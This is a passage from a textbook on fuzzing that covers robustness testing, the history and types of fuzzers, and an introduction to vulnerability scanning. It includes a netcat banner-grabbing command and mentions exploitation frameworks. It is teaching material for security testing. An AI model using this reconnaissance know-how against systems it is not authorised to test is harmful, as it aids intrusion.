setups. 1.2.3 Testing Purposes The main focus of fuzzing is on functional security assessment. As fuzzing is essen- tially functional testing, it can be conducted in various steps during the overall development and testing process. To a QA person, a test has to have a purpose, or otherwise it is meaningless.12 Without a test purpose, it is difficult to assign a test verdict—i.e., Did the test pass or fail? Various types of testing have different pur- poses. Black-box testing today can be generalized to focus on three different purposes (Figure 1.4). Positive testing can be divided into feature tests and perform- ance tests. Test requirements for feature testing consist of a set of valid use cases, which may consist of only few dozens or at most hundreds of tests. Performance testing repeats one of the use cases using various means of test automation such as record-and-playback. Negative testing tries to test the robustness of the system through exploring the infinite amount of possible anomalous inputs to find the tests that cause invalid behavior. An “anomaly” can be defined as any unexpected input 1.2 Software Quality 17 Figure 1.4 Testing purposes: features, performance, and robustness. 12Note that this strict attitude has changed lately with the increasing appreciation to agile testing techniques. Agile testing can sometimes appear to outsiders as ad-hoc testing. Fuzzing has many similarities to agile testing processes. that deviates from the expected norm, ranging from simple field-level modifications to completely broken message structures or alterations in message sequences. Let us explore these testing categories in more detail. Feature testing, or conformance testing, verifies that the software functions according to predefined specifications. The features can have relevance to secu- rity—for example, implementing security mechanisms such as encryption and data verification. The test specification can be internal, or it can be based on industry standards such as protocol specifications. A pass criterion simply means that accord- ing to the test results, the software conforms to the specification. A fail criterion means that a specific functionality was missing or the software operated against the specification. Interoperability testing is a special type of feature test. In interoper- ability testing, various products are tested against one another to see how the fea- tures map to the generally accepted criteria. Interoperability testing is especially important if the industry standards are not detailed enough to provide adequate guidance for achieving interoperability. Most industry standards always leave some features open to interpretation. Interoperability testing can be conducted at special events sometimes termed plug-fests (or unplug-fests in the case of wireless protocols such as Bluetooth). Performance testing tests the performance limitations of the system, typically consisting of positive testing only, meaning it will send large amounts of legal traf- fic to the SUT. Performance is not only related to network performance, but can also test local interfaces such as file systems or API calls. The security implications are obvious: A system can exhibit denial-of-service when subjected to peak loads. An example of this is distributed denial of service (DDoS) attacks. Another exam- ple from the field of telephony is related to the “mothers’ day effect,” meaning that a system should tolerate the unfortunate event when everyone tries to utilize it simultaneously. Performance testing will measure the limits that result in denial of service. Performance testing is often called load testing or stress testing, although some make the distinction that performance testing attempts to prove that a system can handle a specific amount of load (traffic, sessions, transactions, etc.), and that stress testing investigates how the system behaves when it is taken over that limit. In any case, the load used for performance testing can either be sequential or par- allel—e.g., a number of requests can be handled in parallel, or within a specified time frame. The acceptance criteria are predefined and can vary depending on the deployment. Whereas another user can be happy with a performance result of 10 requests per second, another user could demand millions of processed requests per minute. In failure situations, the system can crash, or there can be a degradation of service where the service is denied for a subset of customers. Robustness testing (including fuzzing) is complementary to both feature and performance tests. Robustness can be defined as an ability to tolerate exceptional inputs and stressful environmental conditions. Software is not robust if it fails when facing such circumstances. Attackers can take advantage of robustness problems and compromise the system running the software. Most security vulnerabilities reported in the public are caused by robustness weaknesses. Whereas both feature testing and performance testing are still positive tests, based on real-life use cases, robustness testing is strictly negative testing with tests that 18 Introduction should never occur in a well-behaving, friendly environment. For every use case in feature testing, you can create a performance test by running that use case in parallel or in rapid succession. Similarly, for every use case in feature testing, you can create “misuse cases” by systematically or randomly breaking the legal and valid stimuli. With negative testing, the pass-fail criteria are challenging to define. A fail cri- terion is easier to define than a pass criterion. In robustness testing, you can define that a test fails if the software crashes, becomes unstable, or does other unaccept- able things. If nothing apparent seems to be at fault, the test has passed. Still, adding more instrumentation and monitoring the system more closely can reveal uncaught failures with exactly the same set of tests, thus revealing the vagueness of the used pass-fail criteria. Fuzzing is one form of robustness testing, and it tries to fulfill the testing requirements in negative testing with random or semi-random inputs (often millions of test cases). But more often robustness testing is model-based and opti- mized, resulting in better test results and shorter test execution time due to optimized and intelligently targeted tests selected from the infinity of inputs needed in nega- tive testing (Figure 1.5). 1.2.4 Structural Testing Software rarely comes out as it was originally planned (Figure 1.6).13 The differ- ences between the specification and the implementation are faults (defects, bugs, vulnerabilities) of various types. A specification defines both positive and negative requirements. A positive requirement says what the software should do, and a neg- ative requirement defines what it must not do. The gray area in between leaves some functionality undefined, open for interpretation. The implementation very 1.2 Software Quality 19 Figure 1.5 Limited input space in positive tests and the infinity of tests in negative testing. 13J. Eronen, and M.Laakso. (2005) “A Case for Protocol Dependency.” In Proceedings of the First IEEE International Workshop on Critical Infrastructure Protection. Darmstadt, Germany. November 3–4, 2005. rarely represents the specification. The final product implements the acquired func- tionality, with some of the planned features present and some of them missing (con- formance faults). In addition to implementing (or not implementing) the positive requirements, the final software typically implements some features that were defined as negative requirements (often fatal or critical faults). Creative features implemented during the software life cycle can either be desired or nondesired in the final product. Whereas all critical flaws can be considered security-critical, many security problems also exist inside the set of creative features. One reason for this is that those features very rarely will be tested even if fuzzing is part of the software devel- opment life cycle. Testing plans are typically built based on a requirements spec- ification. The reason for a vulnerability is typically a programming mistake or a design flaw. Typical security-related programming mistakes are very similar in all commu- nication devices. Some examples include • Inability to handle invalid lengths and indices; • Inability to handle out-of-sequence or out-of-state messages; • Inability to tolerate overflows (large packets or elements); • Inability to tolerate missing elements or underflows. Try to think of implementation mistakes as undesired features. Whereas a user- name of eight characters has a feature of identifying users, nine characters can be used to shut the service down. Not very applicable, is it? Implementation flaws are often created due to vague definitions of how things should be implemented. Security-related flaws are often created when a programmer is left with too much choice when implementing a complex feature such as a security mechanism. If the requirements specification does not define how authentication must exactly be 20 Introduction Figure 1.6 Specification versus implementation. implemented, or what type of encryption should be used, the programmers become innovative. The result is almost always devastating. 1.2.5 Functional Testing In contrast to structural testing disciplines, fuzzing falls into the category of functional testing, which is more interested in how a system behaves in practice rather than in the components or specifications from which it is built. The system under test during functional testing can be viewed as a “black box,” with one or more external inter- faces available for injecting test cases, but without any other information available on the internals of the tested system. Having access to information such as source code, design or implementation specifications, debugging or profiling hooks, logging out- put, or details on the state of the system under test or its operational environment will help in root cause analysis of any problems that are found, but none of this is strictly necessary. Having any of the above information available turns the testing process into “gray-box testing,” which has the potential to benefit from the best of both worlds in structural as well as functional testing and can sometimes be recommended for organizations that have access to source code or any other details of the systems under test. Access to the internals can also be a distraction. A few good ideas that can be used in conjunction with fuzz testing when source code is available include focusing code auditing efforts on components or subsys- tems in which fuzzing has already revealed some initial flaws (implying that the whole component or portions of the code around the flaws might be also of simi- larly poor quality) or using debuggers and profilers to catch more obscure issues such as memory leaks during fuzz testing. 1.2.6 Code Auditing “Use the source, Luke—if you have it!” Anonymous security expert Fuzzing is sometimes compared to code auditing and other white-box testing meth- ods. Code auditing looks at the source code of a system in an attempt to discover defective programming constructs or expressions. This falls into the category of structural testing, looking at specifications or descriptions of a system in order to detect errors. While code auditing is another valuable technique in the software tester’s toolbox, code auditing and fuzzing are really complementary to each other. Fuzzing focuses on finding some critical defects quickly, and the found errors are usually very real. Fuzzing can also be performed without understanding the inner workings of the tested system in detail. Code auditing is usually able to find more problems, but it also finds more false positives that need to be manually verified by an expert in the source code before they can be declared real, critical errors. The choice of which technique fits your purposes and testing goals best is up to you. With unlimited time and resources, both can be recommended. Neither fuzzing nor code auditing is able to provably find all possible bugs and defects in a tested sys- tem or program, but both of them are essential parts in building security into your product development processes. 1.2 Software Quality 21 1.3 Fuzzing So far we have discussed vulnerabilities and testing. It is time to finally look at the real topic of this book, fuzzing. 1.3.1 Brief History of Fuzzing Fuzzing is one technique for negative testing, and negative testing is nothing new in the quality assurance field. Hardware testing decades ago already contained nega- tive testing in many forms. The most traditional form of negative testing in hard- ware is called fault injection. The term fault injection can actually refer to two different things. Faults can be injected into the actual product, through mutation testing, i.e., intentionally breaking the product to test the efficiency of the tests. Or the faults can be injected to data, with the purpose of testing the data-processing capability. Faults in hardware communication buses typically happen either through random inputs—i.e., white-noise testing—or by systematically modifying the data— e.g., by bit-flipping. In hardware, the tests are typically injected through data busses or directly to the various pins on the chip. Most modern chips contain a test chan- nel, which will enable modification of not only the external interfaces but injection of anomalies in the data channels inside the chip. Some software engineers used fuzzing-like test methods already in the 1980s. One proof of that is a tool called The Monkey: “The Monkey was a small desk accessory that used the journaling hooks to feed random events to the current appli- cation, so the Macintosh seemed to be operated by an incredibly fast, somewhat angry monkey, banging away at the mouse and keyboard, generating clicks and drags at random positions with wild abandon.”14 However, in practice, software testing for security and reliability was in its infancy until the late 1990s. It appeared as if nobody cared about software quality, as crashes were acceptable and software could be updated “easily.” One potential reason for this was that before the avail- ability of public networks, or the Internet, there was no concept of an “attacker.” The birth of software security as a research topic was created by widely deployed buffer overflow attacks such as the Morris Internet Worm in 1988. In parallel to the development in the software security field, syntax testing was introduced around 1990 by the quality assurance industry.15 Syntax testing basically consists of model- based testing of protocol interfaces with a grammar. We will explain syntax testing in more detail in Chapter 3. A much more simpler form of testing gained more reputation, perhaps due to the easiness of its implementation. The first (or at least best known) rudimentary negative testing project and tool was called Fuzz from Barton Miller’s research group at the University of Wisconsin, published in 1990.16 Very simply, it tried ran- 22 Introduction 14From Folklore.org (1983). www.folklore.org/StoryView.py?story=Monkey_Lives.txt 15Syntax testing is introduced in the Software Testing Techniques 2nd edition, by Boris Beizer, International Thomson Computer Press. 1990. 16More information on “Fuzz Testing of Application Reliability” at University of Wisconsin is available at http://pages.cs.wisc.edu/~bart/fuzz dom inputs for command line options, looking for locally exploitable security holes. The researchers repeated the tests every five years, with same depressing results. Almost all local command-line utilities crashed when provided unexpected inputs, with most of those flaws exploitable. They described their approach as follows: There is a rich body of research on program testing and verification. Our approach is not a substitute for a formal verification or testing procedures, but rather an inex- pensive mechanism to identify bugs and increase overall system reliability. We are using a coarse notion of correctness in our study. A program is detected as faulty only if it crashes or hangs (loops indefinitely). Our goal is to complement, not replace, existing test procedures. While our testing strategy sounds somewhat naive, its ability to discover fatal program bugs is impressive. If we consider a program to be a complex finite state machine, then our testing strategy can be thought of as a random walk through the state space, searching for undefined states.17 Inspired by the research at the University of Wisconsin, and by syntax testing explained by Boris Beizer, Oulu University Secure Programming Group (OUSPG) launched the PROTOS project in 1999.18 The initial motivation for the work grew out of frustration with the difficulties of traditional vulnerability coordination and disclosure processes, which led the PROTOS team to think what could be done to expedite the process of vulnerability discovery and transfer the majority of the process back toward the software and equipment vendors from the security research com- munity. They came up with the idea of producing fuzzing test suites for various interfaces and releasing them first to the vendors, and ultimately to the general pub- lic after the vendors had been able to fix the problems. During the following years, 1.3 Fuzzing 23 History of Fuzzing 1983: The Monkey 1988: The Internet Worm 1989–1991: • Boris Beizer explains Syntax Testing (similar to robustness testing). • “Fuzz: An Empirical Study of Reliability . . .” by Miller et al. (Univ. of Wisconsin) 1995–1996: • Fuzz revisited by Miller et al. (Univ. of Wisconsin). • Fault Injection of Solaris by OUSPG (Oulu University, Finland). 1999–2001: • PROTOS tests for: SNMP, HTTP, SIP, H.323, LDAP, WAP, . . . 2002: • Codenomicon launch with GTP, SIP, and TLS robustness testers. • Click-to-Secure (now Cenzic) Hailstorm web application tester. • IWL and SimpleSoft SNMP fuzzers (and various other protocol specific tools). 17B. P. Miller, L. Fredriksen, and B. So. “An empirical study of the reliability of Unix utilities.” Communications of the Association for Computing Machinery, 33(12)(1990):32–44. 18OUSPG has conducted research in the security space since 1996. www.ee.oulu.fi/research/ouspg PROTOS produced free test suites for the following protocols: WAP-WSP, WMLC, HTTP-reply, LDAP, SNMP, SIP, H.323, ISAKMP/IKE, and DNS. The biggest im- pact occurred with the SNMP test suite, where over 200 vendors were involved in the process of repairing their devices, some more that nine months before the pub- lic disclosure. With this test suite the PROTOS researchers were able to identify numerous critical flaws within the ASN.1 parsers of almost all available SNMP implementations. This success really set the stage to alert the security community to this “new” way of testing called fuzzing. 1.3.2 Fuzzing Overview To begin, we would like to clearly define the type of testing we are discussing in this book. This is somewhat difficult because no one group perfectly agrees on the def- initions related to fuzzing. The key concept of this book is that of black-box or grey-box testing: delivering input to the software through different communication interfaces with no or very little knowledge of the internal operations of the system under test. Fuzzing is a black-box testing technique in which the system under test is stressed with unexpected inputs and data structures through external interfaces. Fuzzing is also all about negative testing, as opposed to feature testing (also called conformance testing) or performance testing (also called load testing). In neg- ative testing, unexpected or semi-valid inputs or sequences of inputs are sent to the tested interfaces, instead of the proper data expected by the processing code. The purpose of fuzzing is to find security-related defects, or any critical flaws lead- ing to denial of service, degradation of service, or other undesired behavior. In short, fuzzing or fuzz testing is a negative software testing method that feeds mal- formed and unexpected input data to a program, device, or system. Programs and frameworks that are used to create fuzz tests or perform fuzz testing are commonly called fuzzers. During the last 10 to 15 years, fuzzing has gradually developed from a niche technique toward a full testing discipline with support from both the security research and traditional QA testing communities. Sometimes other terms are used to describe tests similar to fuzzing. Some of these terms include • Negative testing; • Protocol mutation; • Robustness testing; • Syntax testing; • Fault injection; • Rainy-day testing; • Dirty testing. Traditionally, terms such as negative testing or robustness testing have been used mainly by people involved with software development and QA testing, and the word fuzzing was used in the software security field. There has always been some overlap, and today both groups use both terms, although hackers tend to use the testing related terminology a lot less frequently. Testing terms and requirements in relation to fuzzing have always carried a notion of structure, determinism, and 24 Introduction repeatability. The constant flood of zero-day exploits has proved that traditional functional testing is insufficient. Fuzzing was first born out of the more affordable, and curious, world of randomness. Wild test cases tended to find bugs overlooked in the traditional development and testing processes. This is because such randomly chosen test data, or inputs, do not make any assumptions for the operation of the software, for better or worse. Fuzzing has one goal, and one goal only: to crash the system; to stimulate a multitude of inputs aimed to find any reliability or robust- ness flaws in the software. For the security people, the secondary goal is to analyze those found flaws for exploitability. 1.3.3 Vulnerabilities Found with Fuzzing Vulnerabilities are created in various phases of the SDLC: specification, manufac- turing, and deployment (Figure 1.7). Issues created in the specification or design phase are fundamental flaws that are very difficult to fix. Manufacturing defects are created by bad practices and mistakes in implementing a product. Finally, de- ployment flaws are caused by default settings and bad documentation on how the product can be deployed securely. Looking at these phases, and analyzing them from the experience gained with known mistakes, we can see that implementation mistakes prevail. More than 70% of modern security vulnerabilities are programming flaws, with only less than 10% being configuration issues, and about 20% being design issues. Over 80% of com- munication software implementations today are vulnerable to implementation-level security flaws. For example, 25 out of 30 Bluetooth implementations crashed when they were tested with Bluetooth fuzzing tools.19 Also, results from the PROTOS research project indicate that over 80% of all tested products failed with fuzz tests around WAP, VoIP, LDAP, and SNMP.20 Fuzzing tools used as part of the SDLC are proactive, which makes them the best solution for finding zero-day flaws. Reactive tools fail to do that, because they are based on knowledge of previously found vulnerabilities. Reactive tools only test 1.3 Fuzzing 25 Figure 1.7 Various phases in the SDLC in which vulnerabilities are introduced. 19Ari Takanen and Sami Petäjäsoja, “Assuring the Robustness and Security of New Wireless Technologies.” Paper and presentation. ISSE 2007, Sept. 27, 2007. Warsaw, Poland. 20PROTOS project. www.ee.oulu.fi/protos or protect widely used products from major vendors, but fuzzers can test any prod- uct for similar problems. With fuzzing you can test the security of any process, serv- ice, device, system, or network, no matter what exact interfaces it supports. 1.3.4 Fuzzer Types Fuzzers can be categorized based on two different criteria: 1. Injection vector or attack vector. 2. Test case complexity. Fuzzers can be divided based on the application area where they can be used, basically according to the attack vectors that they support. Different fuzzers target different injection vectors, although some fuzzers are more or less general-purpose frameworks. Fuzzing is a black-box testing technique, but there are several doors into each black box (Figure 1.8). Note also that some fuzzers are meant for client- side testing, and others for server-side testing. A client-side test for HTTP or TLS will target browser software; similarly, server-side tests may test a web server. Some fuzzers support testing both servers and clients, or even middleboxes that simply proxy, forward, or analyze passing protocol traffic. Fuzzers can also be categorized based on test case complexity. The tests gener- ated in fuzzing can target various layers in the target software, and different test cases penetrate different layers in the application logic (Figure 1.9). Fuzzers that change various values in protocol fields will test for flaws like overflows and inte- ger problems. When the message structure is anomalized, the fuzzer will find flaws in message parses (e.g., XML and ASN.1). Finally, when message sequences are fuzzed, the actual state machine can be deadlocked or crashed. Software has sepa- 26 Introduction Figure 1.8 Attack vectors at multiple system levels. rate layers for decoding, syntax validation, and semantic validation (correctness of field values, state of receiver) and for performing the required state updates and output generation (Figure 1.10). A random test will only scratch the surface, whereas a highly complex protocol model that not only tests the message structures but also message sequences will be able to test deeper into the application. One example method of categorization is based on the test case complexity in a fuzzer: • Static and random template-based fuzzer: These fuzzers typically only test simple request-response protocols, or file formats. There is no dynamic func- tionality involved. Protocol awareness is close to zero. • Block-based fuzzers: These fuzzers will implement basic structure for a sim- ple request-response protocol and can contain some rudimentary dynamic functionality such as calculation of checksums and length values. • Dynamic generation or evolution based fuzzers: These fuzzers do not neces- sarily understand the protocol or file format that is being fuzzed, but they will learn it based on a feedback loop from the target system. They might or might not break the message sequences. • Model-based or simulation-based fuzzers: These fuzzers implement the tested interface either through a model or a simulation, or they can also be full implementations of a protocol. Not only message structures are fuzzed, but also unexpected messages in sequences can be generated. The effectiveness of fuzzing is based on how well it covers the input space of the tested interface (input space coverage) and how good the representative mali- cious and malformed inputs are for testing each element or structure within the 1.3 Fuzzing 27 Figure 1.9 Different types of anomalies and different resulting failure modes. tested interface definition (quality of test data). Fuzzers that supply totally random characters may yield some fruit but, in general, won’t find many bugs. It is gener- ally accepted that fuzzers that generate their inputs with random data are very inefficient and can only find rather naive programming errors. As such, it is nec- essary for fuzzers to become more complex if they hope to uncover such buried or hard to find bugs. Very obscure bugs have been called “second-generation bugs.” They might involve, for example, multipath vulnerabilities such as noninitialized stack or heap bugs. Another dimension for categorizing fuzzers stems from whether they are model- based. Compared with a static, nonstateful fuzzer that may not be able to simulate any protocol deeper than an initial packet, a fully model-based fuzzer is able to test an interface more completely and thoroughly, usually proving much more effective in discovering flaws in practice. A more simplistic fuzzer is unable to test any inter- face very thoroughly, providing only limited test results and poor coverage. Static fuzzers may not be able to modify their outputs during runtime, and therefore lack the ability to perform even rudimentary protocol operations such as length or check- sum calculations, cryptographic operations, copying structures from incoming mes- sages into outgoing traffic, or adapting to the exact capabilities (protocol extensions, used profiles) of a particular system under test. In contrast, model-based fuzzers can emulate a protocol or file format interface almost completely, allowing them to understand the inner workings of the tested interface and perform any runtime cal- culations and other dynamic behaviors that are needed to achieve full interoper- ability with the tested system. For this reason, tests executed by a fully model-based fuzzer are usually able to penetrate much deeper within the system under test, exer- cising the packet parsing and input handling routines extremely thoroughly, and 28 Introduction Figure 1.10 Effectivity of a test case to penetrate the application logic. reaching all the way into the state machine and even output generation routines, hence uncovering more vulnerabilities. 1.3.5 Logical Structure of a Fuzzer Modern fuzzers do not just focus solely on test generation. Fuzzers contain differ- ent functionalities and features that will help in both test automation and in failure identification. The typical structure of a fuzzer can contain the following function- alities (Figure 1.11). • Protocol modeler: For enabling the functionality related to various data for- mats and message sequences. The simplest models are based on message tem- plates, whereas more complex models may use context-free protocol grammars or proprietary description languages to specify the tested interface and add dynamic behavior to the model. • Anomaly library: Most fuzzers include collections of inputs known to trigger vulnerabilities in software, whereas others just use random data. • Attack simulation engine: Uses a library of attacks or anomalies, or learns from one. The anomalies collected into the tool, or random modifications, are applied to the model to generate the actual fuzz tests. • Runtime analysis engine: Monitors the SUT. Various techniques can be used to interact with the SUT and to instrument and control the target and its environment. • Reporting: The test results need to be prepared in a format that will help the reporting of the found issues to developers or even third parties. Some tools do not do any reporting, whereas others include complex bug reporting engines. 1.3 Fuzzing 29 Figure 1.11 Generic structure of a fuzzer. • Documentation: A tool without user documentation is difficult to use. Espe- cially in QA, there can also be requirement for test case documentation. Test case documentation can sometimes be used in reporting and can be dynami- cally created instead of a static document. 1.3.6 Fuzzing Process A simplified process of conducting a fuzz test consists of sequences of messages (requests, responses, or files) being sent to the SUT. The resulting changes and incoming messages can be analyzed, or in some cases they can be completely ignored (Figure 1.12). Typical results of a fuzz test contain the following responses: • Valid response. • Error response (may still be valid from a protocol standpoint). • Anomalous response (unexpected but nonfatal reaction, such as slowdown or responding with a corrupted message). • Crash or other failure. The process of fuzzing is not only about sending and receiving messages. Tests are first generated and sent to the SUT. Monitoring of the target should be constant 30 Introduction Figure 1.12 Example fuzz test cases and resulting responses from an SUT. and all failures should be caught and recorded for future evaluation. A critical part of the fuzzing process is to monitor the executing code as it processes the unex- pected input (Figure 1.13). Finally, a pass-fail criteria needs to be defined with the ultimate goal being to perceive errors as they occur and store all knowledge for later inspection. If all this can be automated, a fuzzer can have an infinite amount of tests, and only the actual failure events need to be stored, and analyzed manually. If failures were detected, the reason for the failure is often analyzed manually. That can require a thorough knowledge of the system and the capability to debug the SUT using low-level debuggers. If the bug causing the failure appears to be security-related, a vulnerability can be proved by means of an exploit. This is not always necessary, if the tester understands the failure mode and can forecast the probability and level of exploitability. No matter which post-fuzzing option is taken, the deduction from failure to an individual defect, fixing the flaw, or poten- tial exploit development task can often be equally expensive in terms of man-hours. 1.3.7 Fuzzing Frameworks and Test Suites As discussed above, fuzzers can have varying levels of protocol knowledge. Going beyond this idea, some fuzzers are implemented as fuzzing frameworks, which means that they provide an end user with a platform for creating fuzz tests for arbitrary pro- tocols. Fuzzer frameworks typically require a considerable investment of time and resources to model tests for a new interface, and if the framework does not offer ready-made inputs for common structures and elements, efficient testing also requires considerable expertise in designing inputs that are able to trigger faults in the tested interface. Some fuzzing frameworks integrate user-contributed test modules back to the platform, bringing new tests within the reach of other users, but for the most part fuzzing frameworks require new tests to always be implemented from scratch. These factors can limit the accessibility, usability, and applicability of fuzzing frameworks. 1.3 Fuzzing 31 Figure 1.13 Fuzzing process consisting of test case generation and system monitoring. 1.3.8 Fuzzing and the Enterprise Not all software developer organizations and device manufacturers use any type of fuzzing—although we all agree that they should. For many companies, fuzzing is something that is looked at after all other testing needs have been fulfilled. What should we do to motivate them to embrace fuzzing as part of their software devel- opment process? One driving force in changing the testing priorities can be created by using fuzzing tools in the enterprise environment. The first action that enterprises could take is to require fuzzing in their procure- ment practices and kick out the vendors who do not use fuzzing in R&D. Several financial organizations and telecommunication service providers are already requir- ing some proof of negative testing or fuzzing from their vendors. All end customers of communication software have to stress the importance of security to the soft- ware developers and to the device manufacturers. The second step would be to outsource fuzz testing. Fuzzing should be an inte- gral part of penetration testing services offered by both test automation companies and security consultancies. But unfortunately only very few security experts today truly understand fuzzing, and very few quality assurance people understand the importance of negative testing. The third and final step would be to make fuzzing tools more usable for enter- prise users. Fuzzers should be easy to use by people who are not expert hackers. We also need to educate the end users to the available measures to assess the security of their critical system by themselves. The people opposing the use of fuzzers in the enterprise environment use sev- eral statements to discourage their use. For example, these misconceptions can include the following statements. • “You cannot fuzz in a live environment.” This is not true. Attackers will fuzz the systems already, and proactive usage of fuzzing tools by system adminis- trators can prepare an enterprise to withstand or at least understand the risks of such attacks. Even in an enterprise environment, it is still possible to fuzz selected systems and to mitigate its impact on business-critical services. • “Manufacturers can find all flaws with fuzzing.” This is also not true, because the complexity of a total integrated system is always more than the sum of the complexity of each item used. Manufacturers can never test all configura- tions, nor can they integrate the systems with all possible other systems, re- quired middleware, and proprietary data. The actual environment will always affect test results. • “Not our responsibility.” Many enterprises think vendors should be the only ones testing their products and systems, not the end users or solution integra- tors. This is definitely not true! Not using negative testing practices at every possible phase when deploying critical systems can be considered negligent. Although some more responsible vendors test their products nowadays with stringent fuzz tests, this is hardly the case for all vendors in the world. Even though we all know vendors should do most of the testing, sadly there is still much to improve when it comes to vendors’ attitudes toward preventing qual- ity problems. Since we know that not all vendors will be doing the testing, it 32 Introduction is up to the integrators and users to at least do a “smoke test” for the final sys- tems. If all fails, the systems and software should be sent back to the vendor, with a recommendation to invest in fuzzing and secure development processes. Despite what has been stated above, you do need to be extremely careful when fuzzing a live system, as the testing process could crash your systems or corrupt data. If you can afford it, build a mirror setup of your critical services for testing purposes. Analyze your services from the attackers’ perspective via a thorough analysis of the available attack vectors and by identifying the used protocols. You can test your perimeter defenses separately or together with the service they are try- ing to protect. You will be surprised at how many of your security solutions actu- ally contain security-related flaws. After testing the perimeter, go on to test the reliability of your critical hosts and services without the protecting perimeter defenses. If all appears to be fine in the test environment, then cross your fingers and shoot the live system. But be prepared for crashes. Even if crashes occur, it is better you cause them to occur, rather than a malicious attacker. You will proba- bly notice that a live system with live data will be more vulnerable to attacks than a white-room test system with default configurations. 1.4 Book Goals and Layout This book is about fuzzing in all forms. Today all fuzzing-related terms—such as fuzzing, robustness testing, or negative black-box testing—have fused together in such a way that when someone says he or she has created a new RPC fuzzer, DNS robustness test suite, or a framework for creating negative tests against various file formats, we do not know the exact methods that may be in use. Is it random or sys- tematic testing? Is it aimed at finding exploitable vulnerabilities or any robustness flaws? Can it be used as part of software development, or only against deployed systems? Our goal is to shed light on these mysteries. Throughout the book, these terms may be used synonymously, and if a particular connotation is implied, such will be indicated. The purpose of this chapter was to give you an overview of fuzzing. In Chap- ter 2 we will look at fuzzing from the software vulnerability analysis (VA) perspec- tive, and later in Chapter 3 we will look at the same issues from the quality assurance (QA) perspective. Chapter 4 will consider the business metrics related to fuzzing, both from cost and effectiveness perspectives. Chapter 5 will attempt to describe how various fuzzers can be categorized, with Chapter 6 identifying how the fuzz-test generators can be augmented with different monitoring and instrumen- tation techniques. Chapter 7 will provide an overview of current research, poten- tially providing an indication where future fuzzers are going. Chapter 8 will provide an independent fuzzer comparison, and Chapter 9 will present some sample use cases of where fuzzing can and is being used today. 1.4 Book Goals and Layout 33 C H A P T E R 2 Software Vulnerability Analysis Although fuzzing can be used for other purposes, it is mainly a method for analyz- ing software for vulnerabilities. Therefore, it is useful to start our book by looking at the traditional methods used in software vulnerability analysis, or VA for short. Software vulnerability analysis is the art and science of discovering security problems or other weaknesses in software or systems. By security we mean any- thing that might allow an intentional or unintentional breach of confidentiality, integrity, or availability. The acronym CIA is commonly used for these basic prin- ciples or security goals, and simply serves as a baseline for security requirements. A breach of confidentiality can happen through any access to confidential data. Breach of integrity, on the other hand, can mean modification of data even without its disclosure. Availability problems are often realized in crashes of the server or client software, or degradation of the service. Fuzzing can discover all these, although availability problems are easiest to detect. When the vulnerability is a buffer over- flow or any other flaw that will enable execution of code in the target system, the result is often a total compromise, resulting in loss of all these three security goals. The actual bugs behind security vulnerabilities fall into more granular bins of bug types. For example, a bug could involve misusing software, such as making free calls when you should not be able to do so. In short, vulnerabilities are the result of three kinds of flaws: • Implementation errors (e.g., overflows); • Design flaws (e.g., weak authentication), dirty inputs (e.g., SQL injections); • Configuration errors or other system or network infrastructure errors. It is worth noting that not all bugs or coding flaws result in a vulnerability; they could be purely functional, such as a malfunctioning graphical user interface (GUI) or a miscalculation in a spreadsheet application. For those bugs that do result in a vulnerability, a proof-of-concept (POC) demonstration or a full-blown malicious exploit can be used to prove that the particular bug leads to a vulnerability and that that vulnerability can be exploited in some manner. Development teams experi- enced with security flaws will generally fix bugs without requiring a proof-of-concept exploit.1 Again, an exploit is a means by which CIA is broken, often by demon- strating that it is possible to gain unauthorized access to a host or network. Another 35 1Note: Correctly labeling bugs as security problems is useful for system administration teams in their efforts to prioritize or schedule the required patching cycles. example of a POC would be the Denial of Service (DoS) attack, whereby a com- puter resource is rendered unavailable (or less available) to its intended users. In this chapter we will discuss categories of bugs from a security perspective. We will describe many different kinds of software bugs and how they can be exploited. We will also explain how security vulnerabilities can be searched out in software, and what defenses are available. 2.1 Purpose of Vulnerability Analysis The purpose of vulnerability analysis is to find weaknesses, bugs, or flaws in a sys- tem (breach of CIA). The term vulnerability analysis is often used to indicate net- work auditing, such as a consultative penetration team might do. That is, they might analyze a network for unpatched workstations, misconfigured firewalls, improper logging, poor physical security, etc. This may also be called a tiger team or red/blue team testing.2 However, throughout this book vulnerability analysis will generally indicate the review of an application’s security stance from all possible perspectives. 2.1.1 Security and Vulnerability Scanners Since the term vulnerability analysis can indicate red teaming or penetration testing as described above, it is good to understand the tools that could be used for such endeavors. These tools are typically called vulnerability scanners;3 sometimes they are referred to as security scanners. These tools are different than fuzzing tools. Scanning tools are similar in functionality to signature-based virus scanning tools. 2.1.1.1 Non-Exploitation Vulnerability Scanners These tools have a pre-programmed set of application specific tests that they run. For example, a tool like Nessus will 1. Port scan hosts in a configurable IP address range, using functionality sim- ilar to a port scanning tool like nmap. 2. Based on that scan, the tool will make a guess about the operating system (OS) and the applications running on the various open ports. 3. Based on these facts, it may run application specific tests targeted to the identified service. For example, suppose Nessus (shown in Figure 2.1) determines a host is run- ning a specific version of the Linux operating system based on the fingerprinting data of the TCP/IP stack, and a port scan detects that TCP port 21 (FTP) is open and that the server on that port acts like an old version of wu-ftpd. Based on this 36 Software Vulnerability Analysis 2Red team and blue team testing are commonly used in the military. In vulnerability analysis, using the term blue team indicates more access to the target system, such as source code, etc. 3A good list of vulnerability scanners can be found at http://sectools.org/vuln-scanners.html data, if it has knowledge of known software flaws for that version of wu-ftpd, it may simply report that a bug “may” exist. Some people prefer this type of safe reporting based on passive probing, because no hostile tests were actually sent to the target system, nor were any actual exploits run to detect the potential vulnerability. Of course, if the results of the test are simply based on “banner grabbing,” this could easily be a false positive. The simple technique of banner grabbing performs a network read of data sent by a server or client. For example, in the FTP server case: 1. This can be manually done via a tool like netcat.4 Run a command such as this: “nc IPaddress port.” 2. The FTP server should send back its banner, something like this: “220 (vsFTPd 2.0.4).” This is shown in Figure 2.2. Note that, unlike fuzzing, this type of scanning will not uncover unknown vul- nerabilities in systems. It only reports on vulnerabilities it is configured to know about. 2.1.1.2 Exploitation Scanners/Frameworks The main problem with banner grabbing is that these ASCII text banners returned by the server software can be easily modified by a network administrator to fool such scanning attempts. Hackers might even be tricked into sending exploits at a 2.1 Purpose of Vulnerability Analysis 37 Figure 2.1 A Nessus scan of an older fedora Linux computer. 4The original version of netcat was released by Hobbit in 1995. Today various versions are avail- able for different Unix flavors. One variant, the GNU Netcat is available here: http://netcat .sourceforge.net/ patched target. System administrators may use this to try to identify network intruders or compromised hosts. At any rate, some penetration tests may have the elevated requirement to prove that such hosts are in fact vulnerable by running actual exploits. If such is the case, a tool like Core Impact, Metasploit, or Canvas can be used. These attack frame- works come loaded with live attacks, varying shellcodes (bits of code that run to help exploit a host), debugging, and stealth. Figure 2.3 shows the Metasploit framework in action. A Windows 